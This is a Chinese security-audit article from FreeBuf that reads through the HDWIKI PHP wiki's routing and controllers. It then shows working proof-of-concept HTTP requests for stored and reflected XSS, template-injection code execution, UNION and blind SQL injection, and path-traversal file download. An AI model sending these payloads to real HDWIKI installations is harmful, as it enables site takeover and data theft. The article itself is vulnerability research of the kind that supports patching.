freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

通读审计之HDWIKI
2020-12-23 21:47:33

0x00 前言

hdwiki这套系统分为两部分通读,它的代码逻辑非常有趣。一部分为程序路由,另一部分为控制器的初始化,为了代码思路清晰,笔者会在通读完这两部分后再挖掘漏洞。

下载地址:https://www.jb51.net/codes/11840.html

0x01 路由结构了解

我们老样子,整个故事从index.php开始说起。

可以看到13行包含了./model/hdwiki.class.php文件,我们跟进,看一下是怎么玩的。

因为之前将常量统统提取,看到define关键字直接跳过。

在./model/hdwiki.class.php的第8行和第9行分别包含了/lib/string.class.php与/model/base.class.php文件,我们打开简单的看一下是怎么玩的。

可以看到string.class.php文件只是包含了一个string类,这里我们将这个文件留下。

base.class.php文件的逻辑就比较乱了,一堆require引用,这里我们依次打开看一下。

虽然包含的内容比较多,但都是类与方法,这里我们可以先将它们放到这里,等程序需要使用的时候我们再回来看。另外这里需要注意一下base.class.php文件的第13行是定义了一个base类的。

我们回到hdwiki.class.php文件,继续往下看看。

包含/model/base.class.php文件后定义了一个hdwiki类就没有下文了,那么我们回到Index.php文件看一下代码的后续操作是什么。

$hdwiki = new hdwiki();

$hdwiki->run();

这两句代码则为index.php的最后两句话,那么我们开始分析hdwiki这个类。

PHP在new一个类时,会自动调用构造方法,那么一个类的构造方法有两种,1:__construct魔术方法 2:方法名就是类名

这里我们会进入到hdwiki方法中,看到18行调用了init_request方法,我们看一下init_request方法是怎么运转的。

在23-26行中,用来判断/data/install.lock是否存在,不存在则进行跳转,第25行中的exit可知,这里并不存在系统重装漏洞。

在28-36行中,我们可以看到,都是对$querystring进行一些操作。这里我们需要注意自己的逻辑不要出错。

我们在37行中看到,$this->get接收到的是$_SERVER[QUERY_STRING]的值,而不是$_GET的值。并且将它以“-”进行分隔。

38-40行的定义我们注意“substr($querystring, 0, 6) == 'admin_'”条件,从代码样子上来看应该是对后台模块的特殊处理。这里我们先放下不管他。

49-51行等同于没写,因为如果不存在$this->get[0]以及不存在$this->get[1]程序在42-48行中会强制给他们赋值。

53-55行终于调用了string类的haddslashes方法,我们看一下这个方法到底做了一些什么操作。

将 $this->get($_SERVER[QUERY_STRING])、$this->post($_POST)、$_COOKIE都做了addslashes函数处理。这就意味着我们从外界输入危险数据会被转义。但没有 过滤 $_SESSION, $_REQUEST, $_SERVER,我们可能在代码审计中利用到它们,先记录一下。

在/model/hdwiki.class.php文件的57行,调用了$this->checksecurity()方法,我们看一下逻辑是怎么样的。

可以看到是黑名单过滤。如果匹配到关键字则进入到notfound方法,我们看一下notfound方法是怎么处理这些危险数据的。

我去,直接die掉程序。那么$this->get的过滤就非常严格。我们回到57行继续往下通读。

59-63行只是简单的unset变量操作。

这里我们回到hdwiki这个构造方法中,看一下load_control方法。

我们重点去看80-83行的代码逻辑,因为该分支属于正常的控制器分支。$controlfile的值为 ./control/可控值.php文件,在第81行可以看到包含文件操作。我们这里看一下正常的控制器的逻辑是什么样的。

可以看到程序的控制器的类名都定义为control,OK,我们回过头来继续通读,只是看一眼控制器而已。

可以看到包含之后就没有什么其他操作了。因为在index.php文件中的最后一行中有调用该类的run方法,我们读一下run方法看看是怎么玩的。

run方法的逻辑没有想象当中的那么复杂,其实第88行也就是看一下控制器的原因,该系统将所有控制器的名称都定位为control,所以才有new control这一行的操作。

$exemption后面有注释,是免检方法的标志(免检方法:不会查看当前用户是否有访问权限,都会无任何限制的去调用)。

在94-97行中,如果方法名称为hd,则不会进入到该分支,在107行中的if判断中即可知道,如果方法名称为hd,则不管当前用户权限如何,都会去调用hd方法。所以这里hd就是免检方法。

某个控制器的其他方法,则是根据代码逻辑来判断是否有权限访问限制,如果权限不够,那么禁止调用,如果权限够大,那么可以调用。

我们这里可以在./control/目录下定义heihu_577.php文件,内容为:

<?php

class control extends base{

public function hd(){

echo 'helloworld';

}

}

调用结果:

0x02 控制器结构了解

本次通读分为两次通读的原因,是基础控制器也有它自己本身的逻辑。

我们废话不多说,直接看一下普通的控制器。

我们可以看到class control extends base,继承了base类,这个类在我们之前了解框架结构时,有包含到base.class.php文件,我们看一下该文件是怎么玩的。

可以看到base类,定义了同名构造方法(function base)。我们看一下这个方法做了一些什么操作。

可以看到基础控制器居然做出了这么多操作,没关系,我们去慢慢啃它。

首先35行调用了util类的getip方法,从名字上看好像是用来获取ip的,我们跟进看一下。

使用client-ip头虽然可以进行伪造ip,但是后面又preg_match正则校验,所以这里不存在IP伪造漏洞。

我们下面来看一下base.class.php文件的第38行。

$this->db实例化了一个hddb类,我们跟进这个类,看看是怎么玩的。

是处理SQL语句的类,我们回到base.class.php继续通读。

调用了init_cache,我们看一下它的处理结构。

可以看到106行实例化了cache类,而后续代码多次调用cache下的load方法,我们很有必要看一下cache::load方法到底做了一些什么操作。

可以看到程序首先去拿到cache文件,如果文件不存在,那么就去数据库进行调用。

Cache文件的存放位置:/data/cache/缓存文件.php

在56行出现了未经过任何过滤带入数据库的操作,条件是$cachename可控,但是很遗憾,笔者没有找到可控的$cachename调用处。

我们回过头来继续通读。

包含setting、advertisement......

都是一些数组信息,我们需要知道的是,这些数组是从数据库中提取出来的。

我们可以看到将这些配置信息都放入了成员变量中。

我们最好不要对一个缓存来较劲,回过头来继续通读。

我们看一下init_user方法。

这里调用了hgetcookie方法,我们看一下hgetcookie方法是用来做什么的。

只是用来得到cookie信息。

回到init_user方法中我们继续分析。

这里又调用了authcode方法,我们看一下该方法是怎么玩的。

类似于DZ论坛的加密方式,我们从这里可以知道,该程序是有authkey的。

我们回头继续看一下代码逻辑。

可以看到$uid是未经过任何处理,直接带入到数据库当中的。这里我们如果通过一些方式拿到authkey,那么这个点可以做权限维持。当然,authkey是存放在数据库当中的。如图:

但是遗憾在笔者并没有找到破解authkey的方法(前台注入另说)。

我们回过头来继续通读。

可以看到包含/model/doc.class.php并实例化,在271行调用了doc对象的get_unpubdoc方法。我们跟进。

涉及到网站业务逻辑的词条操作,使用SELECT进行查询。

我们回过头来继续审计。

这里init_template方法是用来定义$this->view是template(View)类的实例化,template类我们限制先放到这里不说,到后面我们审计到模板注入时再拿过来细说。

回过头来继续审计。

init_global方法主要调用网站内的业务信息。这里主要关注在261-262行身上。

我们跟进writeLog方法,看一下该方法是如何定义的。

可以看到登录后台的一系列操作都会被写入到日志当中,笔者这里日志被写入到了data/logs/202012_adminaccess.php文件中,如图:

我们回过头来继续通读。

init_mail方法检测/data/mail.exists文件是否存在,如果存在则可以发送邮件等操作。

init_admin是来判断当前的登陆状态,如果非管理员则跳转到管理员登录界面。

控制器结构了解完毕后我们开始挖掘漏洞。

0x03 后台存储型XSS漏洞

存储型XSS漏洞无非就是入库前可插入/修改成未被过滤的Js代码,在前端中显示出来。

在/control/admin_focus.php的doedit方法中。

$summary与$image被string::hiconv函数进行处理,我们看一下该函数的定义。

只要我们不被正则检测到即可直接return回来。

我们再看一下save_focus_content方法。

这里是插入js数据点。

模板文件:/data/view/admin_focus.tpl.php 将 image字段直接输出出来。

如图:

构造HTTP包:

POST /index.php?admin_focus-edit HTTP/1.1

Host: hdwiki.com

Content-Length: 106

Accept: */*

Origin: http://hdwiki.com

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://hdwiki.com/index.php?admin_focus-edit-58

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk; hd_auth=993bRToK8dVihewqdijd2tsF5fc%2Bcc%2BW8%2FRFsM2MTMtfM%2FJflKkLfGvB2FkvbPl7JhocdUIHk%2B%2F7YqGs5Y9w; hd_querystring=admin_focus-edit-58

Connection: close


did=58&summary=12&image="><script>alert(1)</script>&displayorder=0&editsubmit=true&doctype=3

发送后访问http://xxx.com/index.php?admin_focus-focuslist进行回显

如图:

0x04 后台模板注入GetShell

这里我们回过头来看一下/lib/template.class.php文件的display方法。

这里直接调用到preg_replace的/e修饰符,preg_replace的第二个参数调用了stripvtag方法,我们看一下这个方法是怎么玩的。

这里只是进行了替换,并不影响我们getshell。

在后台有模板编辑功能,如图:

编辑插入代码:{eval phpinfo();}

结果:

0x05 前台SQL联合注入漏洞

在/control/edition.php文件中的docompare方法。

按照程序作者的猜想应该是:eid只能接收两条数据,然后使用array_slice将这两条数据提取出来。

但,eid不一定只可以插入两条数据,我们可以给他指定第三条第四条第n条数据。

array_slice函数只会截取到前两条数据,这里我们可以将我们的注入代码往前放置,键为0或1往后放即可。

我们看一下get_edition方法的定义。

如果注入成功会进入到else分支,则该类型注入只需要闭合圆括号即可。

构造HTTP请求包:

POST /index.php?edition-compare HTTP/1.1

Host: www.hdwiki.com

Content-Type:application/x-www-form-urlencoded

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 159


eid[a]=1) UNION SELECT 1,2,3,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19#&eid[0]=123&eid[1]=456

如图:

但是没有回显数据出来,是因为程序往后又做了判断。如图:

因为union select 查询到的只是一条数据而已,这里取不到第二条数据。两次union select即可查询出两条数据。我们看一下did字段的存放位置。

可以看到did字段处于第三条数据。那么我们需要构造两次union all select(预防union select 默认过滤),将did相等就行了。如图:

HTTP包:

POST /index.php?edition-compare HTTP/1.1

Host: hdwiki.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 172


eid[a]=1) UNION SELECT 1,2,888,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 1,3,888,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19#&eid[0]=123&eid[1]=456

0x06 后台SQL盲注漏洞

是个有意思的点,这里也记录一下。在/control/admin_theme.php文件中有dosaveblock方法,如图:

第546行直接调用block_query方法,将过滤的POST请求直接放置到第一个参数中。

跟进block_query方法。

这里$_POST的key是没有任何过滤的,那么我们可以在key中进行注入。

构造HTTP请求包:

成功延时注入。

0x07 任意文件下载漏洞

在/control/admin_db.php文件有dodownloadfile方法,如图:

本意是下载数据库,这里使用*号代替.号进行跳目录。

成功任意文件下载。

0x08 前台POST反射型XSS

在/control/user.php文件的doinvite方法。

如图:

我们必须想办法让$error置为true,才可以进入到下面分配的分支。

所以这里我们不要被preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/", $mail)所匹配得到才行,进入到757-758行的分支,ps直接输出到前台模板中没有任何XSS过滤,产生反射XSS漏洞。构造HTTP请求:

POST /index.php?user-invite HTTP/1.1

Host: hdwiki.com

Content-Length: 84

Cache-Control: max-age=0

Origin: http://hdwiki.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk; hd_auth=993bRToK8dVihewqdijd2tsF5fc%2Bcc%2BW8%2FRFsM2MTMtfM%2FJflKkLfGvB2FkvbPl7JhocdUIHk%2B%2F7YqGs5Y9w; hd_querystring=admin_db-downloadfile-%2A%2A%2F%2A%2A%2Frobots%2Atxt

Connection: close


toemails=1&ps=<script>alert(1);</script>&submit=%E5%8F%91%E9%80%81%E9%82%80%E8%AF%B7

这种POST类型的反射型XSS,可以搭配CSRF打组合拳。

# 审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录